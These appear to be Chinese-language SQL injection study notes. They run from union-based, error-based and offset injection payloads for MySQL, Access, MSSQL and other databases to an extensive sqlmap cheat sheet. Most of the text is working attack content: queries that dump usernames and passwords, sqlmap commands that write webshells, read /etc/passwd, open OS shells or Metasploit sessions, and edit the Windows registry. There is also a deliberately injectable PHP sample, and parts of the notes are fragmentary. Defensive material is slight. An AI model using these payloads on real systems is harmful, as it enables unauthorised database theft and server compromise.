sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是会出现漏洞的。
分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)
MYSQL数据库
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。
必要知识
判断注入
and 1=1 正常
and 1=2 错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效
在mysql5.0以上版本
存在一个 information_schema的数据库,它记录着所有的数据库,表明,列名。
在MySQL 5.0以上版本中,为了方便管理,默认定义了information_schema数据 库,用来存储数据库元信息,其中具有表schemata(数据库名),table(表名),columns(列名或字段名)
在schemata表中,schema_name字段用来存储数据库名
在table表中,table_schema和table_name分别用来存储数据库名和表名
在column表中,table_schema(数据库名),table_name(表名),column_name(字段名)
根据注入位置数据类型将sql注入分类
利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1’ order by 3–+
利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3 --+
利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1 union select 1,database(),version() --+
利用 union select 联合查询,获取表名
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘已知库名’–+
利用 union select 联合查询,获取字段名
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘已知表名’–+
利用 union select 联合查询,获取字段值
?id=-1’ union select 1,2,group_concat(已知字段名,’:'已知字段名) from 已知表名–+
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata爆出所有数据库
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema ='pikachu’获取特定数据库表名
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘users’ and table_schema = 'pikachu’获取特定数据库特定表列数据
http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users查询user的数据
into outfile 或 into dumpfile:导出函数
(将x写入www文件中)
路径获取常见方法:
报错显示:一般网站出现错误的时候它会泄露出路径
遗留文件:站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出
漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径
平台配置文件:通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径
爆破
windows:
d:/wwwroot/xiaodi8/
linux:
/var/www/xiaodi8
扩展连接:
常见的load_file()读取的敏感信息
b. 防护:
1.)自带防御:魔术引号
2.)内置函数:int等
5. 低版本注入配合读取或暴力
字典或读取
在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
b. 即使有注入也会带入单引号里,产生不了任何作用,所以我们要做的前提是先要把它的符号闭合掉
curl -X POST https://api.zoomeye.org/user/login -d
{
"username": "[email protected]",
"password": "foobar"
}
根据网站的情况来获取相应的请求方法,请求方法可以通过在访问网站的时候审查元素里数据包的前缀看查看,找到Request Headers(请求头)
不同的请求方式,它请求的数据类型或者大小都不同。一般大数据会采用POST提交。在注入时候需要按照网站的请求方法去注入。
GET、POST、COOKIE、REQUEST、HTTP头等
a. GET产生一个TCP数据包;POST产生两个TCP数据包。
对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);
而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
b. GET方法无法接收POST的值
在POST情况下GET的值只要在网址后面就能接收
GET、POST接收单个
REQUEST 全部接收,网站在访问的时候由于我们大多数是黑盒测试,不知道对方代码写法,如果对方采用REQUEST接收方式,就不需要考虑用何种方法去提交,因为用GET、POST都可以。如果对方是单一接收方式,那么在注入的时候需要用它的方法去注入。
c. GET和POST两种基本请求方法的区别
d. cookie
扩展:cookie和session的详解与区别
4. 以POST请求去测试网页,网页界面是一样的,那么表示这两个参数均以POST方式去提交
$_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某一个地方可以进行注入
扩展介绍:$_SERVER详解
{
"users": {
"user": [
{
"id": "1",
"username": "admin",
"passwd": "admin888"
},
{
"id": "2",
"username": "root",
"passwd": "root123"
},
{
"id": "3",
"username": "system",
"passwd": "system456"
}
]
}
}
2. JSON注入
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
// php防止中文乱码
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$password=$json->password;
// 建立mysql连接,root/root连接本地数据库
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
// 要操作的数据库名,我的数据库是security
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
// 数据库编码格式
$mysqli->set_charset('utf-8');
// 从users表中查询username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}
// 释放资源
$result->free();
$mysqli->close();
}
?>
简要学习各种数据库的注入特点
数据库架构组成,数据库高权限操作
Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等
Access
表名
列名
数据
Access数据库保存在网站源码下面,自己网站数据库独立存在,所以无法进行跨库,也没有文件读写的操作。
mysql、mssql等
数据库A
表名
列名
数据
数据库B
。。。
。。。
。。。
每个数据库功能不同,我们采取注入的时候攻入方式不同
什么决定网站注入点用户权限?
数据库配置文件的用户,是谁连接的
简要学习各种数据库的注入特点
Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等
Access数据库放在网站下
数据库架构组成,数据库高权限操作
简要学习各种注入工具的使用指南
熟悉工具的支持库,注入模式,优缺点等
Sqlmap, NoSQLAttack, Pangolin等
如果遇到列名猜解不到的情况,则可以使用Access偏移注入
本地Access偏移注入靶场
偏移量就是逐步增加或递减,直到出现结果。表示可代替的字符串,用代替22,返回界面依旧报错,然后用*代替21,依次递减。22-16=6,6表示该表中的列名个数。
*代表6个,后面一串字符代表两倍,就相当于2倍,12个
爆列名数据
一级偏移语句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
二级偏移语句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
二级偏移,3倍*,所以为18个
查看登录框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况
猜解表名可能是ZB_admin,观察网站地址特征,是否有前缀。
或者看登录框表单值
补充
access偏移注入:解决列名获取不到的情况 查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况
Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。
①判断数据库类型
and exists (select * from sysobjects)–返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)–有时上面那个语句不行就试试这个哈
②判断数据库版本
and 1=@@version–这个语句要在有回显的模式下才可以哦
and substring((select @@version),22,4)=‘2008’–适用于无回显模式,后面的2008就是数据库版本, 返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是 2008的话就返回正常)
③获取所有数据库的个数 (一下3条语句可供选择使用)
⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master…sysdatabases FOR XML PATH(’’))–
and 1=(select ‘|’%2bname%2b’|’ from master…sysdatabases FOR XML PATH(’’))–
⑥获取当前数据库
and db_name()>0
and 1=(select db_name())–
⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于 mssql2005及以上版本)】
and 1=(select quotename(name) from 数据库名…sysobjects where xtype=‘U’ FOR XML PATH(’’))–
and 1=(select ‘|’%2bname%2b’|’ from 数据库名…sysobjects where xtype=‘U’ FOR XML PATH(’’))–
⑧获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):
and 1=(select quotename(name) from 数据库名…syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(’’))–
and 1=(select ‘|’%2bname%2b’|’ from 数据库名…syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(’’))–
⑨获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top 1 * from 指定数据库…指定表名 where排除条件 FOR XML PATH(’’))–
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top N * from 指定数据库…指定表名 FOR XML PATH(’’))–复制代码第一条语句:and 1=(select top 1 * from 指定数据库…指定表名 FOR XML PATH(’’))–测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like ‘%user%’ 就会筛选出含有user关键词的出来。用在筛选表段时很不错。
转自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm
https://www.webshell.cc/524.html
https://www.cnblogs.com/yilishazi/p/14710349.html
https://www.jianshu.com/p/ba0297da2c2e
https://www.cnblogs.com/peterpan0707007/p/8242119.html
https://blog.csdn.net/weixin_33881753/article/details/87981552
https://www.secpulse.com/archives/3278.html
MySQL:
1.找到注入点 and 1=1 and 1=2 测试报错
2.order by 5 # 到5的时候报错,获取字段总数为4
3.id=0(不是1就行,强行报错) union select 1,2,3,4 # 联合查询,2和3可以显示信息
4.获取数据库信息
user() ==>root
database() ==>mozhe_Discuz_StormGroup
version() ==>5.7.22-0ubuntu0.16.04.1
5.获取数据库表
table_name 表名
information_schema.tables 系统生成信息表
table_schema=数据库名16进制或者用单引号括起来
改变limit 0,1中前一个参数,得到两个表 StormGroup_member notice
6.获取列名
结果如下 id,name,password,status
7.脱裤
Access:
1.and 1=2 报错找到注入点
2.order by 获取总字段
3.猜解表名 and exists (select * from admin) 页面返回正常,说明存在admin表
4.猜解列名 and exists(select id from admin) 页面显示正常,admin表中存在id列 username,passwd 同样存在
5.脱裤 union select 1,username,passwd,4 from admin
MSSQL:
1.and 1=2报错
2.order by N# 获取总字段
3.猜表名 and exists(select * from manage) 表名manage存在
4.猜解列名 and exists(select id from manage) 列名id存在,同样username,password也存在
5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在
and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8
and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16
可用Burp的Intruder功能辅助猜解
猜解username第1到8位的字符,ASCII转码 admin_mz
猜解password第1到16位的字符,ASCII转码(Burp 爆破)
转ASCII的py脚本:
72e1bfc3f01b7583 MD5解密为97285101
SQLite:
1.找注入点 and 1=1
2.order by N 猜字段 4
3.猜数据库
offset ==>0~2
有三个数据库:
WSTMart_reg
notice_sybase
sqlite_sequence
4.猜列
共有3个字段:
id,name,password
5.脱裤
MongoDB:
1.id=1′ 单引号注入报错
2.闭合语句,查看所有集合
3.查看指定集合的数据
[0] 代表第一条数据,可递增
DB2:
1.and 1=2 判断注入点
2.order by N 获取字段数
3.爆当前数据库
GAME_CHARACTER
4.列表
NAME
5.脱裤
PostgreSQL:
1.and 1=2 判断注入点
2.order by N 获取字段
3.爆数据库
4.列表
5.列字段
6.拖库
Sybase数据库:
1.and 1=2 判断注入点
2.order by N 获取总字段
3.爆数据库
4.列表
5.列字段
6.查状态
结果为:zhang
7.反选爆用户名
结果为:mozhe
8.猜解密码
Oracle:
1.and 1=1
2.order by
3.爆数据库
4.列表
5.列字段
6.拖库
加上状态:1 where STATUS=1
熟悉工具的主持库,注入模式,优缺点等
sqlmap,NoSQLAttack,Pangolin等
sqlmap支持五种不同的注入模式:
● 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
● 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
● 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
● 4、联合查询注入,可以使用union的情况下的注入。
● 5、堆查询注入,可以同时执行多条语句的执行时的注入。
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
sqlmap -u “http://www.vuln.cn/post.php?id=1”
默认使用level1检测全部数据库类型
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。
当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
可以使用burpsuite或者temperdata等工具来抓取post包
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs
查询有哪些数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables
查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns
查询test数据库中admin表有哪些字段
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump
dump出字段username与password中的数据
其他命令参考下面
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
基本操作笔记:-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” --resume)
–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1
–time-sec=(2,5) #延迟响应,默认为5
–data #通过POST发送数据
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by
–data “” #POST方式提交数据(–data “page=1&id=2”)
–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “” #自定义user-agent
–proxy “http://127.0.0.1:8118” #代理注入
–string="" #指定关键词,字符串匹配.
–threads #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1” )
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn --msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” --user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C “user,pass” -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read “c:\boot.ini” -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd “id” -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key=“HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
15./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix “AND (‘abc’='abc”
16./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” --auth-type Basic --auth-cred “testuser:testpass”
17./sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"
18./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” --sql-query “SELECT ‘foo’” -v 1
20./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --common-tables -D testdb --banner
21./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --cookie=“PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” --string=‘xx’ --dbs --level=3 -p “uid”
简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read “/etc/passwd” -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试
● –is-dba 当前用户权限(是否为root权限)
● –dbs 所有数据库
● –current-db 网站当前数据库
● –users 所有数据库用户
● –current-user 当前数据库用户
● –random-agent 构造随机user-agent
● –passwords 数据库密码
● –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
● –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
——————————————————————————————————
● –version 显示程序的版本号并退出
● -h, –help 显示此帮助消息并退出
● -v VERBOSE 详细级别:0-6(默认为1)
● 保存进度继续跑:
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
以下至少需要设置其中一个选项,设置目标URL。
● -d DIRECT 直接连接到数据库。
● -u URL, –url=URL 目标URL。
● -l LIST 从Burp或WebScarab代理的日志中解析目标。
● -r REQUESTFILE 从一个文件中载入HTTP请求。
● -g GOOGLEDORK 处理Google dork的结果作为目标URL。
● -c CONFIGFILE 从INI配置文件中加载选项。
这些选项可以用来指定如何连接到目标URL。
● –data=DATA 通过POST发送的数据字符串
● –cookie=COOKIE HTTP Cookie头
● –cookie-urlencode URL 编码生成的cookie注入
● –drop-set-cookie 忽略响应的Set – Cookie头信息
● –user-agent=AGENT 指定 HTTP User – Agent头
● –random-agent 使用随机选定的HTTP User – Agent头
● –referer=REFERER 指定 HTTP Referer头
● –headers=HEADERS 换行分开,加入其他的HTTP头
● –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
● –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
● –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
● –proxy=PROXY 使用HTTP代理连接到目标URL
● –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
● –ignore-proxy 忽略系统默认的HTTP代理
● –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
● –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
● –retries=RETRIES 连接超时后重新连接的时间(默认3)
● –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
● –safe-url=SAFURL 在测试过程中经常访问的url地址
● –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。
● -b, –banner 检索数据库管理系统的标识
● –current-user 检索数据库管理系统当前用户
● –current-db 检索数据库管理系统当前数据库
● –is-dba 检测DBMS当前用户是否DBA
● –users 枚举数据库管理系统用户
● –passwords 枚举数据库管理系统用户密码哈希
● –privileges 枚举数据库管理系统用户的权限
● –roles 枚举数据库管理系统用户的角色
● –dbs 枚举数据库管理系统数据库
● -D DBname 要进行枚举的指定数据库名
● -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
● –tables 枚举的DBMS数据库中的表
● –columns 枚举DBMS数据库表列
● –dump 转储数据库管理系统的数据库中的表项
● –dump-all 转储所有的DBMS数据库表中的条目
● –search 搜索列(S),表(S)和/或数据库名称(S)
● -C COL 要进行枚举的数据库列
● -U USER 用来进行枚举的数据库用户
● –exclude-sysdbs 枚举表时排除系统数据库
● –start=LIMITSTART 第一个查询输出进入检索
● –stop=LIMITSTOP 最后查询的输出进入检索
● –first=FIRSTCHAR 第一个查询输出字的字符检索
● –last=LASTCHAR 最后查询的输出字字符检索
● –sql-query=QUERY 要执行的SQL语句
● –sql-shell 提示交互式SQL的shell
这些选项可用于优化SqlMap的性能。
● -o 开启所有优化开关
● –predict-output 预测常见的查询输出
● –keep-alive 使用持久的HTTP(S)连接
● –null-connection 从没有实际的HTTP响应体中检索页面长度
● –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
● -p TESTPARAMETER 可测试的参数(S)
● –dbms=DBMS 强制后端的DBMS为此值
● –os=OS 强制后端的DBMS操作系统为这个值
● –prefix=PREFIX 注入payload字符串前缀
● –suffix=SUFFIX 注入payload字符串后缀
● –tamper=TAMPER 使用给定的脚本(S)篡改注入数据
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
● –level=LEVEL 执行测试的等级(1-5,默认为1)
● –risk=RISK 执行测试的风险(0-3,默认为1)
● –string=STRING 查询时有效时在页面匹配字符串
● –regexp=REGEXP 查询时有效时在页面匹配正则表达式
● –text-only 仅基于在文本内容比较网页
这些选项可用于调整具体的SQL注入测试。
● –technique=TECH SQL注入技术测试(默认BEUST)
● –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
● –union-cols=UCOLS 定列范围用于测试UNION查询注入
● –union-char=UCHAR 用于暴力猜解列数的字符
● -f, –fingerprint 执行检查广泛的DBMS版本指纹
这些选项可以被用来运行蛮力检查。
● –common-tables 检查存在共同表
● –common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
● –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
● –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
● –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
这些选项可以用于访问后端数据库管理系统的底层操作系统。
● –os-cmd=OSCMD 执行操作系统命令
● –os-shell 交互式的操作系统的shell
● –os-pwn 获取一个OOB shell,meterpreter或VNC
● –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
● –os-bof 存储过程缓冲区溢出利用
● –priv-esc 数据库进程用户权限提升
● –msf-path=MSFPATH Metasploit Framework本地的安装路径
● –tmp-path=TMPPATH 远程临时文件目录的绝对路径
这些选项可以被用来访问后端数据库管理系统Windows注册表。
● –reg-read 读一个Windows注册表项值
● –reg-add 写一个Windows注册表项值数据
● –reg-del 删除Windows注册表键值
● –reg-key=REGKEY Windows注册表键
● –reg-value=REGVAL Windows注册表项值
● –reg-data=REGDATA Windows注册表键值数据
● –reg-type=REGTYPE Windows注册表项值类型
这些选项可以用来设置一些一般的工作参数。
● -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
● -s SESSIONFILE 保存和恢复检索会话文件的所有数据
● –flush-session 刷新当前目标的会话文件
● –fresh-queries 忽略在会话文件中存储的查询结果
● –eta 显示每个输出的预计到达时间
● –update 更新SqlMap
● –save file保存选项到INI配置文件
● –batch 从不询问用户输入,使用所有默认配置。
● –beep 发现SQL注入时提醒
● –check-payload IDS对注入payloads的检测测试
● –cleanup SqlMap具体的UDF和表清理DBMS
● –forms 对目标URL的解析和测试形式
● –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
● –page-rank Google dork结果显示网页排名(PR)
● –parse-errors 从响应页面解析数据库管理系统的错误消息
● –replicate 复制转储的数据到一个sqlite3数据库
● –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
● –wizard 给初级用户的简单向导界面
https://www.yuque.com/samxara/swro13/ag75rb#ZV7rq
涉及资源
MSSQL注入:https://www.cnblogs.com/xishaonian/p/6173644.html
sqlmap超详细笔记+思维导图:https://www.cnblogs.com/bmjoker/p/9326258.html
NoSQL Attack:https://github.com/youngyangyang04/NoSQL Attack
sqlmap: https://github.com/sqlmapproject/sqlmap
墨者刷题笔记:https://blog.csdn.net/qq_39936434/category_9103379.html
PostgreSQL 注入整理:https://blog.csdn.net/hack8/article/details/6427911
